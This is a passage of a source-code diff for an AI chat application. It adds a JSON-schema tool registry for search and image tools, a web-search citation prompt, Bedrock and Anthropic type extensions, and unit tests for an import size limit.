diff --git a/packages/api/src/tools/index.ts b/packages/api/src/tools/index.ts index eb375902f1..8695d06707 100644 --- a/packages/api/src/tools/index.ts +++ b/packages/api/src/tools/index.ts @@ -1,2 +1,5 @@ export * from './format'; +export * from './registry'; export * from './toolkits'; +export * from './definitions'; +export * from './classification'; diff --git a/packages/api/src/tools/registry/definitions.ts b/packages/api/src/tools/registry/definitions.ts new file mode 100644 index 0000000000..b0d03199bd --- /dev/null +++ b/packages/api/src/tools/registry/definitions.ts @@ -0,0 +1,486 @@ +import { + WebSearchToolDefinition, + CalculatorToolDefinition, + CodeExecutionToolDefinition, +} from '@librechat/agents'; +import { geminiToolkit } from '~/tools/toolkits/gemini'; +import { oaiToolkit } from '~/tools/toolkits/oai'; + +/** Extended JSON Schema type that includes standard validation keywords */ +export type ExtendedJsonSchema = { + type?: 'string' | 'number' | 'integer' | 'float' | 'boolean' | 'array' | 'object' | 'null'; + enum?: (string | number | boolean | null)[]; + items?: ExtendedJsonSchema; + properties?: Record; + required?: string[]; + description?: string; + additionalProperties?: boolean | ExtendedJsonSchema; + minLength?: number; + maxLength?: number; + minimum?: number; + maximum?: number; + minItems?: number; + maxItems?: number; + pattern?: string; + format?: string; + default?: unknown; + const?: unknown; + oneOf?: ExtendedJsonSchema[]; + anyOf?: ExtendedJsonSchema[]; + allOf?: ExtendedJsonSchema[]; + $ref?: string; + $defs?: Record; + definitions?: Record; +}; + +export interface ToolRegistryDefinition { + name: string; + description: string; + schema: ExtendedJsonSchema; + description_for_model?: string; + responseFormat?: 'content_and_artifact' | 'content'; + toolType: 'builtin' | 'mcp' | 'action' | 'custom'; +} + +/** Google Search tool JSON schema */ +export const googleSearchSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + minLength: 1, + description: 'The search query string.', + }, + max_results: { + type: 'integer', + minimum: 1, + maximum: 10, + description: 'The maximum number of search results to return. Defaults to 5.', + }, + }, + required: ['query'], +}; + +/** DALL-E 3 tool JSON schema */ +export const dalle3Schema: ExtendedJsonSchema = { + type: 'object', + properties: { + prompt: { + type: 'string', + maxLength: 4000, + description: + 'A text description of the desired image, following the rules, up to 4000 characters.', + }, + style: { + type: 'string', + enum: ['vivid', 'natural'], + description: + 'Must be one of `vivid` or `natural`. `vivid` generates hyper-real and dramatic images, `natural` produces more natural, less hyper-real looking images', + }, + quality: { + type: 'string', + enum: ['hd', 'standard'], + description: 'The quality of the generated image. Only `hd` and `standard` are supported.', + }, + size: { + type: 'string', + enum: ['1024x1024', '1792x1024', '1024x1792'], + description: + 'The size of the requested image. Use 1024x1024 (square) as the default, 1792x1024 if the user requests a wide image, and 1024x1792 for full-body portraits. Always include this parameter in the request.', + }, + }, + required: ['prompt', 'style', 'quality', 'size'], +}; + +/** Flux API tool JSON schema */ +export const fluxApiSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + action: { + type: 'string', + enum: ['generate', 'list_finetunes', 'generate_finetuned'], + description: + 'Action to perform: "generate" for image generation, "generate_finetuned" for finetuned model generation, "list_finetunes" to get available custom models', + }, + prompt: { + type: 'string', + description: + 'Text prompt for image generation. Required when action is "generate". Not used for list_finetunes.', + }, + width: { + type: 'number', + description: + 'Width of the generated image in pixels. Must be a multiple of 32. Default is 1024.', + }, + height: { + type: 'number', + description: + 'Height of the generated image in pixels. Must be a multiple of 32. Default is 768.', + }, + prompt_upsampling: { + type: 'boolean', + description: 'Whether to perform upsampling on the prompt.', + }, + steps: { + type: 'integer', + description: 'Number of steps to run the model for, a number from 1 to 50. Default is 40.', + }, + seed: { + type: 'number', + description: 'Optional seed for reproducibility.', + }, + safety_tolerance: { + type: 'number', + description: + 'Tolerance level for input and output moderation. Between 0 and 6, 0 being most strict, 6 being least strict.', + }, + endpoint: { + type: 'string', + enum: [ + '/v1/flux-pro-1.1', + '/v1/flux-pro', + '/v1/flux-dev', + '/v1/flux-pro-1.1-ultra', + '/v1/flux-pro-finetuned', + '/v1/flux-pro-1.1-ultra-finetuned', + ], + description: 'Endpoint to use for image generation.', + }, + raw: { + type: 'boolean', + description: + 'Generate less processed, more natural-looking images. Only works for /v1/flux-pro-1.1-ultra.', + }, + finetune_id: { + type: 'string', + description: 'ID of the finetuned model to use', + }, + finetune_strength: { + type: 'number', + description: 'Strength of the finetuning effect (typically between 0.1 and 1.2)', + }, + guidance: { + type: 'number', + description: 'Guidance scale for finetuned models', + }, + aspect_ratio: { + type: 'string', + description: 'Aspect ratio for ultra models (e.g., "16:9")', + }, + }, + required: [], +}; + +/** OpenWeather tool JSON schema */ +export const openWeatherSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + action: { + type: 'string', + enum: ['help', 'current_forecast', 'timestamp', 'daily_aggregation', 'overview'], + description: 'The action to perform', + }, + city: { + type: 'string', + description: 'City name for geocoding if lat/lon not provided', + }, + lat: { + type: 'number', + description: 'Latitude coordinate', + }, + lon: { + type: 'number', + description: 'Longitude coordinate', + }, + exclude: { + type: 'string', + description: 'Parts to exclude from the response', + }, + units: { + type: 'string', + enum: ['Celsius', 'Kelvin', 'Fahrenheit'], + description: 'Temperature units', + }, + lang: { + type: 'string', + description: 'Language code', + }, + date: { + type: 'string', + description: 'Date in YYYY-MM-DD format for timestamp and daily_aggregation', + }, + tz: { + type: 'string', + description: 'Timezone', + }, + }, + required: ['action'], +}; + +/** Wolfram Alpha tool JSON schema */ +export const wolframSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + input: { + type: 'string', + description: 'Natural language query to WolframAlpha following the guidelines', + }, + }, + required: ['input'], +}; + +/** Stable Diffusion tool JSON schema */ +export const stableDiffusionSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + prompt: { + type: 'string', + description: + 'Detailed keywords to describe the subject, using at least 7 keywords to accurately describe the image, separated by comma', + }, + negative_prompt: { + type: 'string', + description: + 'Keywords we want to exclude from the final image, using at least 7 keywords to accurately describe the image, separated by comma', + }, + }, + required: ['prompt', 'negative_prompt'], +}; + +/** Azure AI Search tool JSON schema */ +export const azureAISearchSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + description: 'Search word or phrase to Azure AI Search', + }, + }, + required: ['query'], +}; + +/** Traversaal Search tool JSON schema */ +export const traversaalSearchSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + description: + "A properly written sentence to be interpreted by an AI to search the web according to the user's request.", + }, + }, + required: ['query'], +}; + +/** Tavily Search Results tool JSON schema */ +export const tavilySearchSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + minLength: 1, + description: 'The search query string.', + }, + max_results: { + type: 'number', + minimum: 1, + maximum: 10, + description: 'The maximum number of search results to return. Defaults to 5.', + }, + search_depth: { + type: 'string', + enum: ['basic', 'advanced'], + description: + 'The depth of the search, affecting result quality and response time (`basic` or `advanced`). Default is basic for quick results and advanced for indepth high quality results but longer response time. Advanced calls equals 2 requests.', + }, + include_images: { + type: 'boolean', + description: + 'Whether to include a list of query-related images in the response. Default is False.', + }, + include_answer: { + type: 'boolean', + description: 'Whether to include answers in the search results. Default is False.', + }, + include_raw_content: { + type: 'boolean', + description: 'Whether to include raw content in the search results. Default is False.', + }, + include_domains: { + type: 'array', + items: { type: 'string' }, + description: 'A list of domains to specifically include in the search results.', + }, + exclude_domains: { + type: 'array', + items: { type: 'string' }, + description: 'A list of domains to specifically exclude from the search results.', + }, + topic: { + type: 'string', + enum: ['general', 'news', 'finance'], + description: + 'The category of the search. Use news ONLY if query SPECIFCALLY mentions the word "news".', + }, + time_range: { + type: 'string', + enum: ['day', 'week', 'month', 'year', 'd', 'w', 'm', 'y'], + description: 'The time range back from the current date to filter results.', + }, + days: { + type: 'number', + minimum: 1, + description: 'Number of days back from the current date to include. Only if topic is news.', + }, + include_image_descriptions: { + type: 'boolean', + description: + 'When include_images is true, also add a descriptive text for each image. Default is false.', + }, + }, + required: ['query'], +}; + +/** File Search tool JSON schema */ +export const fileSearchSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + query: { + type: 'string', + description: + "A natural language query to search for relevant information in the files. Be specific and use keywords related to the information you're looking for. The query will be used for semantic similarity matching against the file contents.", + }, + }, + required: ['query'], +}; + +/** Tool definitions registry - maps tool names to their definitions */ +export const toolDefinitions: Record = { + google: { + name: 'google', + description: + 'A search engine optimized for comprehensive, accurate, and trusted results. Useful for when you need to answer questions about current events.', + schema: googleSearchSchema, + toolType: 'builtin', + }, + dalle: { + name: 'dalle', + description: `Use DALLE to create images from text descriptions. + - It requires prompts to be in English, detailed, and to specify image type and human features for diversity. + - Create only one image, without repeating or listing descriptions outside the "prompts" field. + - Maintains the original intent of the description, with parameters for image style, quality, and size to tailor the output.`, + schema: dalle3Schema, + toolType: 'builtin', + }, + flux: { + name: 'flux', + description: + 'Use Flux to generate images from text descriptions. This tool can generate images and list available finetunes. Each generate call creates one image. For multiple images, make multiple consecutive calls.', + schema: fluxApiSchema, + toolType: 'builtin', + }, + open_weather: { + name: 'open_weather', + description: + 'Provides weather data from OpenWeather One Call API 3.0. Actions: help, current_forecast, timestamp, daily_aggregation, overview. If lat/lon not provided, specify "city" for geocoding. Units: "Celsius", "Kelvin", or "Fahrenheit" (default: Celsius). For timestamp action, use "date" in YYYY-MM-DD format.', + schema: openWeatherSchema, + toolType: 'builtin', + }, + wolfram: { + name: 'wolfram', + description: + 'WolframAlpha offers computation, math, curated knowledge, and real-time data. It handles natural language queries and performs complex calculations. Follow the guidelines to get the best results.', + schema: wolframSchema, + toolType: 'builtin', + }, + 'stable-diffusion': { + name: 'stable-diffusion', + description: + "You can generate images using text with 'stable-diffusion'. This tool is exclusively for visual content.", + schema: stableDiffusionSchema, + toolType: 'builtin', + }, + 'azure-ai-search': { + name: 'azure-ai-search', + description: "Use the 'azure-ai-search' tool to retrieve search results relevant to your input", + schema: azureAISearchSchema, + toolType: 'builtin', + }, + traversaal_search: { + name: 'traversaal_search', + description: + 'An AI search engine optimized for comprehensive, accurate, and trusted results. Useful for when you need to answer questions about current events. Input should be a search query.', + schema: traversaalSearchSchema, + toolType: 'builtin', + }, + tavily_search_results_json: { + name: 'tavily_search_results_json', + description: + 'A search engine optimized for comprehensive, accurate, and trusted results. Useful for when you need to answer questions about current events.', + schema: tavilySearchSchema, + toolType: 'builtin', + }, + file_search: { + name: 'file_search', + description: + 'Performs semantic search across attached "file_search" documents using natural language queries. This tool analyzes the content of uploaded files to find relevant information, quotes, and passages that best match your query.', + schema: fileSearchSchema, + toolType: 'builtin', + responseFormat: 'content_and_artifact', + }, + image_gen_oai: { + name: oaiToolkit.image_gen_oai.name, + description: oaiToolkit.image_gen_oai.description, + schema: oaiToolkit.image_gen_oai.schema, + toolType: 'builtin', + responseFormat: oaiToolkit.image_gen_oai.responseFormat, + }, + image_edit_oai: { + name: oaiToolkit.image_edit_oai.name, + description: oaiToolkit.image_edit_oai.description, + schema: oaiToolkit.image_edit_oai.schema, + toolType: 'builtin', + responseFormat: oaiToolkit.image_edit_oai.responseFormat, + }, + gemini_image_gen: { + name: geminiToolkit.gemini_image_gen.name, + description: geminiToolkit.gemini_image_gen.description, + schema: geminiToolkit.gemini_image_gen.schema, + toolType: 'builtin', + responseFormat: geminiToolkit.gemini_image_gen.responseFormat, + }, +}; + +/** Tool definitions from @librechat/agents */ +const agentToolDefinitions: Record = { + [CalculatorToolDefinition.name]: { + name: CalculatorToolDefinition.name, + description: CalculatorToolDefinition.description, + schema: CalculatorToolDefinition.schema as unknown as ExtendedJsonSchema, + toolType: 'builtin', + }, + [CodeExecutionToolDefinition.name]: { + name: CodeExecutionToolDefinition.name, + description: CodeExecutionToolDefinition.description, + schema: CodeExecutionToolDefinition.schema as unknown as ExtendedJsonSchema, + toolType: 'builtin', + }, + [WebSearchToolDefinition.name]: { + name: WebSearchToolDefinition.name, + description: WebSearchToolDefinition.description, + schema: WebSearchToolDefinition.schema as unknown as ExtendedJsonSchema, + toolType: 'builtin', + }, +}; + +export function getToolDefinition(toolName: string): ToolRegistryDefinition | undefined { + return toolDefinitions[toolName] ?? agentToolDefinitions[toolName]; +} + +export function getAllToolDefinitions(): ToolRegistryDefinition[] { + return [...Object.values(toolDefinitions), ...Object.values(agentToolDefinitions)]; +} + +export function getToolSchema(toolName: string): ExtendedJsonSchema | undefined { + return getToolDefinition(toolName)?.schema; +} diff --git a/packages/api/src/tools/registry/index.ts b/packages/api/src/tools/registry/index.ts new file mode 100644 index 0000000000..9b9d6c8afa --- /dev/null +++ b/packages/api/src/tools/registry/index.ts @@ -0,0 +1 @@ +export * from './definitions'; diff --git a/packages/api/src/tools/toolkits/gemini.ts b/packages/api/src/tools/toolkits/gemini.ts index 3785856fbb..5eb0cec9fd 100644 --- a/packages/api/src/tools/toolkits/gemini.ts +++ b/packages/api/src/tools/toolkits/gemini.ts @@ -1,4 +1,4 @@ -import { z } from 'zod'; +import type { ExtendedJsonSchema } from '../registry/definitions'; /** Default description for Gemini image generation tool */ const DEFAULT_GEMINI_IMAGE_GEN_DESCRIPTION = @@ -46,6 +46,35 @@ const getGeminiImageIdsDescription = () => { return process.env.GEMINI_IMAGE_IDS_DESCRIPTION || DEFAULT_GEMINI_IMAGE_IDS_DESCRIPTION; }; +const geminiImageGenJsonSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + prompt: { + type: 'string', + maxLength: 32000, + description: getGeminiImageGenPromptDescription(), + }, + image_ids: { + type: 'array', + items: { type: 'string' }, + description: getGeminiImageIdsDescription(), + }, + aspectRatio: { + type: 'string', + enum: ['1:1', '2:3', '3:2', '3:4', '4:3', '4:5', '5:4', '9:16', '16:9', '21:9'], + description: + 'The aspect ratio of the generated image. Use 16:9 or 3:2 for landscape, 9:16 or 2:3 for portrait, 21:9 for ultra-wide/cinematic, 1:1 for square. Defaults to 1:1 if not specified.', + }, + imageSize: { + type: 'string', + enum: ['1K', '2K', '4K'], + description: + 'The resolution of the generated image. Use 1K for standard, 2K for high, 4K for maximum quality. Defaults to 1K if not specified.', + }, + }, + required: ['prompt'], +}; + export const geminiToolkit = { gemini_image_gen: { name: 'gemini_image_gen' as const, @@ -77,22 +106,7 @@ export const geminiToolkit = { 9. Use imageSize to control the resolution: 1K (standard), 2K (high), 4K (maximum quality). The prompt should be a detailed paragraph describing every part of the image in concrete, objective detail.`, - schema: z.object({ - prompt: z.string().max(32000).describe(getGeminiImageGenPromptDescription()), - image_ids: z.array(z.string()).optional().describe(getGeminiImageIdsDescription()), - aspectRatio: z - .enum(['1:1', '2:3', '3:2', '3:4', '4:3', '4:5', '5:4', '9:16', '16:9', '21:9']) - .optional() - .describe( - 'The aspect ratio of the generated image. Use 16:9 or 3:2 for landscape, 9:16 or 2:3 for portrait, 21:9 for ultra-wide/cinematic, 1:1 for square. Defaults to 1:1 if not specified.', - ), - imageSize: z - .enum(['1K', '2K', '4K']) - .optional() - .describe( - 'The resolution of the generated image. Use 1K for standard, 2K for high, 4K for maximum quality. Defaults to 1K if not specified.', - ), - }), + schema: geminiImageGenJsonSchema, responseFormat: 'content_and_artifact' as const, }, } as const; diff --git a/packages/api/src/tools/toolkits/imageContext.ts b/packages/api/src/tools/toolkits/imageContext.ts index 0485ed815a..723f173104 100644 --- a/packages/api/src/tools/toolkits/imageContext.ts +++ b/packages/api/src/tools/toolkits/imageContext.ts @@ -35,4 +35,3 @@ export function buildImageToolContext({ } return toolContext; } - diff --git a/packages/api/src/tools/toolkits/index.ts b/packages/api/src/tools/toolkits/index.ts index ce9e0584c4..68b67d69d5 100644 --- a/packages/api/src/tools/toolkits/index.ts +++ b/packages/api/src/tools/toolkits/index.ts @@ -1,3 +1,5 @@ export * from './gemini'; export * from './imageContext'; +export * from './mapping'; export * from './oai'; +export * from './web'; diff --git a/packages/api/src/tools/toolkits/mapping.ts b/packages/api/src/tools/toolkits/mapping.ts new file mode 100644 index 0000000000..e6cb14d9bc --- /dev/null +++ b/packages/api/src/tools/toolkits/mapping.ts @@ -0,0 +1,15 @@ +/** + * Maps toolkit keys to additional tool names they contain. + * When a toolkit key appears in an agent's tool list, + * these extra tools should also be included. + */ +export const toolkitExpansion = { + image_gen_oai: ['image_edit_oai'], +} as const satisfies Readonly>; + +/** Reverse mapping: maps child tool names to their parent toolkit key */ +export const toolkitParent: Readonly> = Object.fromEntries( + Object.entries(toolkitExpansion).flatMap(([parent, children]) => + children.map((child) => [child, parent]), + ), +); diff --git a/packages/api/src/tools/toolkits/oai.ts b/packages/api/src/tools/toolkits/oai.ts index 0881a0148a..9786b0571d 100644 --- a/packages/api/src/tools/toolkits/oai.ts +++ b/packages/api/src/tools/toolkits/oai.ts @@ -1,4 +1,4 @@ -import { z } from 'zod'; +import type { ExtendedJsonSchema } from '../registry/definitions'; /** Default descriptions for image generation tool */ const DEFAULT_IMAGE_GEN_DESCRIPTION = @@ -67,87 +67,81 @@ const getImageEditPromptDescription = () => { return process.env.IMAGE_EDIT_OAI_PROMPT_DESCRIPTION || DEFAULT_IMAGE_EDIT_PROMPT_DESCRIPTION; }; +const imageGenOaiJsonSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + prompt: { + type: 'string', + maxLength: 32000, + description: getImageGenPromptDescription(), + }, + background: { + type: 'string', + enum: ['transparent', 'opaque', 'auto'], + description: + 'Sets transparency for the background. Must be one of transparent, opaque or auto (default). When transparent, the output format should be png or webp.', + }, + quality: { + type: 'string', + enum: ['auto', 'high', 'medium', 'low'], + description: 'The quality of the image. One of auto (default), high, medium, or low.', + }, + size: { + type: 'string', + enum: ['auto', '1024x1024', '1536x1024', '1024x1536'], + description: + 'The size of the generated image. One of 1024x1024, 1536x1024 (landscape), 1024x1536 (portrait), or auto (default).', + }, + }, + required: ['prompt'], +}; + +const imageEditOaiJsonSchema: ExtendedJsonSchema = { + type: 'object', + properties: { + image_ids: { + type: 'array', + items: { type: 'string' }, + minItems: 1, + description: `IDs (image ID strings) of previously generated or uploaded images that should guide the edit. + +Guidelines: +- If the user's request depends on any prior image(s), copy their image IDs into the \`image_ids\` array (in the same order the user refers to them). +- Never invent or hallucinate IDs; only use IDs that are still visible in the conversation context. +- If no earlier image is relevant, omit the field entirely.`, + }, + prompt: { + type: 'string', + maxLength: 32000, + description: getImageEditPromptDescription(), + }, + quality: { + type: 'string', + enum: ['auto', 'high', 'medium', 'low'], + description: + 'The quality of the image. One of auto (default), high, medium, or low. High/medium/low only supported for gpt-image-1.', + }, + size: { + type: 'string', + enum: ['auto', '1024x1024', '1536x1024', '1024x1536', '256x256', '512x512'], + description: + 'The size of the generated images. For gpt-image-1: auto (default), 1024x1024, 1536x1024, 1024x1536. For dall-e-2: 256x256, 512x512, 1024x1024.', + }, + }, + required: ['image_ids', 'prompt'], +}; + export const oaiToolkit = { image_gen_oai: { name: 'image_gen_oai' as const, description: getImageGenDescription(), - schema: z.object({ - prompt: z.string().max(32000).describe(getImageGenPromptDescription()), - background: z - .enum(['transparent', 'opaque', 'auto']) - .optional() - .describe( - 'Sets transparency for the background. Must be one of transparent, opaque or auto (default). When transparent, the output format should be png or webp.', - ), - /* - n: z - .number() - .int() - .min(1) - .max(10) - .optional() - .describe('The number of images to generate. Must be between 1 and 10.'), - output_compression: z - .number() - .int() - .min(0) - .max(100) - .optional() - .describe('The compression level (0-100%) for webp or jpeg formats. Defaults to 100.'), - */ - quality: z - .enum(['auto', 'high', 'medium', 'low']) - .optional() - .describe('The quality of the image. One of auto (default), high, medium, or low.'), - size: z - .enum(['auto', '1024x1024', '1536x1024', '1024x1536']) - .optional() - .describe( - 'The size of the generated image. One of 1024x1024, 1536x1024 (landscape), 1024x1536 (portrait), or auto (default).', - ), - }), + schema: imageGenOaiJsonSchema, responseFormat: 'content_and_artifact' as const, } as const, image_edit_oai: { name: 'image_edit_oai' as const, description: getImageEditDescription(), - schema: z.object({ - image_ids: z - .array(z.string()) - .min(1) - .describe( - ` -IDs (image ID strings) of previously generated or uploaded images that should guide the edit. - -Guidelines: -- If the user's request depends on any prior image(s), copy their image IDs into the \`image_ids\` array (in the same order the user refers to them). -- Never invent or hallucinate IDs; only use IDs that are still visible in the conversation context. -- If no earlier image is relevant, omit the field entirely. -`.trim(), - ), - prompt: z.string().max(32000).describe(getImageEditPromptDescription()), - /* - n: z - .number() - .int() - .min(1) - .max(10) - .optional() - .describe('The number of images to generate. Must be between 1 and 10. Defaults to 1.'), - */ - quality: z - .enum(['auto', 'high', 'medium', 'low']) - .optional() - .describe( - 'The quality of the image. One of auto (default), high, medium, or low. High/medium/low only supported for gpt-image-1.', - ), - size: z - .enum(['auto', '1024x1024', '1536x1024', '1024x1536', '256x256', '512x512']) - .optional() - .describe( - 'The size of the generated images. For gpt-image-1: auto (default), 1024x1024, 1536x1024, 1024x1536. For dall-e-2: 256x256, 512x512, 1024x1024.', - ), - }), + schema: imageEditOaiJsonSchema, responseFormat: 'content_and_artifact' as const, }, } as const; diff --git a/packages/api/src/tools/toolkits/web.ts b/packages/api/src/tools/toolkits/web.ts new file mode 100644 index 0000000000..2c71aa41d2 --- /dev/null +++ b/packages/api/src/tools/toolkits/web.ts @@ -0,0 +1,23 @@ +import { Tools, replaceSpecialVars } from 'librechat-data-provider'; + +/** Builds the web search tool context with citation format instructions. */ +export function buildWebSearchContext(): string { + return `# \`${Tools.web_search}\`: +Current Date & Time: ${replaceSpecialVars({ text: '{{iso_datetime}}' })} + +**Execute immediately without preface.** After search, provide a brief summary addressing the query directly, then structure your response with clear Markdown formatting (## headers, lists, tables). Cite sources properly, tailor tone to query type, and provide comprehensive details. + +**CITATION FORMAT - UNICODE ESCAPE SEQUENCES ONLY:** +Use these EXACT escape sequences (copy verbatim): \\ue202 (before each anchor), \\ue200 (group start), \\ue201 (group end), \\ue203 (highlight start), \\ue204 (highlight end) + +Anchor pattern: \\ue202turn{N}{type}{index} where N=turn number, type=search|news|image|ref, index=0,1,2... + +**Examples (copy these exactly):** +- Single: "Statement.\\ue202turn0search0" +- Multiple: "Statement.\\ue202turn0search0\\ue202turn0news1" +- Group: "Statement. \\ue200\\ue202turn0search0\\ue202turn0news1\\ue201" +- Highlight: "\\ue203Cited text.\\ue204\\ue202turn0search0" +- Image: "See photo\\ue202turn0image0." + +**CRITICAL:** Output escape sequences EXACTLY as shown. Do NOT substitute with † or other symbols. Place anchors AFTER punctuation. Cite every non-obvious fact/quote. NEVER use markdown links, [1], footnotes, or HTML tags.`.trim(); +} diff --git a/packages/api/src/types/anthropic.ts b/packages/api/src/types/anthropic.ts index 6e9bf7713b..d3ba744488 100644 --- a/packages/api/src/types/anthropic.ts +++ b/packages/api/src/types/anthropic.ts @@ -44,6 +44,10 @@ export interface ThinkingConfigEnabled { type: 'enabled'; } +export interface ThinkingConfigAdaptive { + type: 'adaptive'; +} + /** * Configuration for enabling Claude's extended thinking. * @@ -55,7 +59,10 @@ export interface ThinkingConfigEnabled { * [extended thinking](https://docs.anthropic.com/en/docs/build-with-claude/extended-thinking) * for details. */ -export type ThinkingConfigParam = ThinkingConfigEnabled | ThinkingConfigDisabled; +export type ThinkingConfigParam = + | ThinkingConfigEnabled + | ThinkingConfigDisabled + | ThinkingConfigAdaptive; export type AnthropicModelOptions = Partial> & { thinking?: AnthropicParameters['thinking'] | null; diff --git a/packages/api/src/types/bedrock.ts b/packages/api/src/types/bedrock.ts index 22c8464619..8f34b2864d 100644 --- a/packages/api/src/types/bedrock.ts +++ b/packages/api/src/types/bedrock.ts @@ -21,6 +21,13 @@ export interface GuardrailConfiguration { trace?: 'enabled' | 'disabled' | 'enabled_full'; } +/** + * AWS Bedrock Inference Profile configuration + * Maps model IDs to their inference profile ARNs + * @see https://docs.aws.amazon.com/bedrock/latest/userguide/inference-profiles.html + */ +export type InferenceProfileConfig = Record; + /** * Configuration options for Bedrock LLM */ @@ -36,6 +43,8 @@ export interface BedrockConfigOptions { endpointHost?: string; /** Guardrail configuration for content filtering */ guardrailConfig?: GuardrailConfiguration; + /** Inference profile ARNs keyed by model ID / friendly name */ + inferenceProfiles?: InferenceProfileConfig; } /** @@ -48,6 +57,7 @@ export interface BedrockLLMConfigResult { credentials?: BedrockCredentials; endpointHost?: string; guardrailConfig?: GuardrailConfiguration; + applicationInferenceProfile?: string; }; configOptions: Record; } diff --git a/packages/api/src/types/files.ts b/packages/api/src/types/files.ts index 6a403932da..ada6ff024c 100644 --- a/packages/api/src/types/files.ts +++ b/packages/api/src/types/files.ts @@ -1,6 +1,7 @@ +import type { BedrockDocumentFormat } from 'librechat-data-provider'; import type { IMongoFile } from '@librechat/data-schemas'; -import type { ServerRequest } from './http'; import type { Readable } from 'stream'; +import type { ServerRequest } from './http'; export interface STTService { getInstance(): Promise; getProviderSchema(req: ServerRequest): Promise<[string, object]>; @@ -95,11 +96,24 @@ export interface OpenAIInputFileBlock { file_data: string; } +/** Bedrock Converse API document block (passthrough via @langchain/aws) */ +export interface BedrockDocumentBlock { + type: 'document'; + document: { + name: string; + format: BedrockDocumentFormat; + source: { + bytes: Buffer; + }; + }; +} + export type DocumentBlock = | AnthropicDocumentBlock | GoogleDocumentBlock | OpenAIFileBlock - | OpenAIInputFileBlock; + | OpenAIInputFileBlock + | BedrockDocumentBlock; export interface DocumentResult { documents: DocumentBlock[]; diff --git a/packages/api/src/types/http.ts b/packages/api/src/types/http.ts index 6544447310..c304e9089e 100644 --- a/packages/api/src/types/http.ts +++ b/packages/api/src/types/http.ts @@ -1,5 +1,6 @@ -import type { Request } from 'express'; import type { IUser, AppConfig } from '@librechat/data-schemas'; +import type { TEndpointOption } from 'librechat-data-provider'; +import type { Request } from 'express'; /** * LibreChat-specific request body type that extends Express Request body @@ -11,8 +12,10 @@ export type RequestBody = { conversationId?: string; parentMessageId?: string; endpoint?: string; + endpointType?: string; model?: string; key?: string; + endpointOption?: Partial; }; export type ServerRequest = Request & { diff --git a/packages/api/src/utils/__tests__/import.test.ts b/packages/api/src/utils/__tests__/import.test.ts new file mode 100644 index 0000000000..08fa94669d --- /dev/null +++ b/packages/api/src/utils/__tests__/import.test.ts @@ -0,0 +1,76 @@ +jest.mock('@librechat/data-schemas', () => ({ + logger: { info: jest.fn(), warn: jest.fn(), error: jest.fn(), debug: jest.fn() }, +})); + +import { DEFAULT_IMPORT_MAX_FILE_SIZE, resolveImportMaxFileSize } from '../import'; +import { logger } from '@librechat/data-schemas'; + +describe('resolveImportMaxFileSize', () => { + let originalEnv: string | undefined; + + beforeEach(() => { + originalEnv = process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES; + jest.clearAllMocks(); + }); + + afterEach(() => { + if (originalEnv !== undefined) { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = originalEnv; + } else { + delete process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES; + } + }); + + it('returns 262144000 (250 MiB) when env var is not set', () => { + delete process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES; + expect(resolveImportMaxFileSize()).toBe(262144000); + expect(DEFAULT_IMPORT_MAX_FILE_SIZE).toBe(262144000); + }); + + it('returns default when env var is empty string', () => { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = ''; + expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE); + }); + + it('respects a custom numeric value', () => { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '5242880'; + expect(resolveImportMaxFileSize()).toBe(5242880); + }); + + it('parses string env var to number', () => { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '1048576'; + expect(resolveImportMaxFileSize()).toBe(1048576); + }); + + it('falls back to default and warns for non-numeric string', () => { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = 'abc'; + expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'), + ); + }); + + it('falls back to default and warns for negative values', () => { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '-100'; + expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'), + ); + }); + + it('falls back to default and warns for zero', () => { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = '0'; + expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'), + ); + }); + + it('falls back to default and warns for Infinity', () => { + process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES = 'Infinity'; + expect(resolveImportMaxFileSize()).toBe(DEFAULT_IMPORT_MAX_FILE_SIZE); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES'), + ); + }); +}); diff --git a/packages/api/src/utils/__tests__/memory.test.ts b/packages/api/src/utils/__tests__/memory.test.ts new file mode 100644 index 0000000000..c821088856 --- /dev/null +++ b/packages/api/src/utils/__tests__/memory.test.ts @@ -0,0 +1,173 @@ +jest.mock('@librechat/data-schemas', () => ({ + logger: { + debug: jest.fn(), + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + }, +})); + +jest.mock('~/stream', () => ({ + GenerationJobManager: { + getRuntimeStats: jest.fn(() => null), + }, +})); + +jest.mock('~/mcp/oauth/OAuthReconnectionManager', () => ({ + OAuthReconnectionManager: { + getInstance: jest.fn(() => ({ + getTrackerStats: jest.fn(() => null), 